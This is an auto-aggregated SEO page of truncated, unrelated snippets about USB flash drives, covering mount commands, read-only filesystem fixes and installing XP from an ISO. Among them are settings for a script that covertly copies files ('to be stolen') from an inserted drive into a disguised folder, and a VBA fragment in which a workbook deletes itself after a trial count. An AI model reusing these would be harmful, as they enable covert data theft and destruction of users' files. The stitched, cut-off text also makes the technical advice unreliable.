Discover accidentally deleted file on flash drive, include the articles, news, trends, analysis and practical advice about accidentally deleted file on flash drive on alibabacloud.com
Today, I helped a friend install a computer without a CD, only ISO files, and planned to launch a USB flash drive.
1. Insert a USB flash drive and find the USB flash drive device file
Disk management, mounting a disk, attaching a disk image file, mounting a USB flash drive, umount command, dd
1 mount
Command Format:
Mount [-t vfstype]-o options device dir
Where:
*-T vfstype specifies the type of the file system, which is usually not required. Mount automatically selects the correct type. Regular
Use
The following is an example:
I. Settings
Right-click and select Edit
Ostr = "TXT | JPG | Doc" 'type of the file to be stolen, which can be added by yourself and separated by "|"
Odistpath = "C: \ WINDOWS \ SYSTEM \" 'Save path
Ofoldername = "task" 'Save the folder name
Otype = 0' disguise the saved folder as a task folder, 2 as a recycler folder, and 0 as a non-disguised folder.
OOut = 1' exit after replication is complete, 0 does not exit after repli
1run the following command at the terminal tail-F/var/log/syslog2insert a USB flash drive with read-only file system failure3. Observe the command-line output in the following part: Jul8 -: -: -CSLOUIS-PC kernel: [15595.155904] Fat:filesystem error (Dev sdb4) Jul8 -: -: -CSLOUIS-PC kernel: [15595.155905] Fat_get_cluster:invalid cluster Chain (i_pos0you can see
I found that I could not write files to the USB flash drive/SD card today. I carefully checked that the USB flash drive is read-only. I tried to solve this problem using n methods:
1. chmod U + x/Media/usbdisk
The prompt "read-only file system" cannot be changed.
2. sudo
1, may be the U disk virus
In this case, the likelihood of the virus is very high, so first ghost Win7 system user to check their own USB stick device security problem, see if there is no virus file hidden in it, if any, timely delete these virus files, if not eradicate the words, Then you need to format the USB drive device to solve this problem.
2, u disk format problem
If the USB
Problem: Sometimes after the Linux system mounted USB flash drive, the USB file system is read-only, the expression is generally: Delete files or create files when the prompt cannot delete or create files: file system read only;Workaround:1. Run the following command on the Linux systemTail-f/var/log/syslog2. Insert a
, and enter the i386 directory. Run winnt to install it! Note the following points:Do not place the ISO file of the XP installation disk in the NTFS partition. If your computer has another NTFS partition, the drive letter of the file may be different from that of DOS in XP! Check whether the disk where the ISO file is
Tags: partial class complete the online speed file copy file file systemNow the speed is getting faster, a variety of online transmission files or is relatively fast, if you encounter like 7, 8 GB of files, or a USB flash drive comes true, but very many Mac users in the copy
", "Startup"MsgBox "system will be deleted. Thank you for your trial! Goodbye"ActiveWorkbook. ChangeFileAccess xlReadOnlyKill ActiveWorkbook. FullNameThisWorkbook. Close FalseEnd IfAAA = AAA + 1SaveSetting "MyApp", "Startup", "Times", AAAEnd SubSee instance 3 _ 54
1.18 Excel files that can only be used on your computerPrivate Sub Workbook_Open ()Application. ScreenUpdating = FalseOn Error GoTo 100Workbooks. Open ThisWorkbook. Path "/verify. XLS"Activ
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.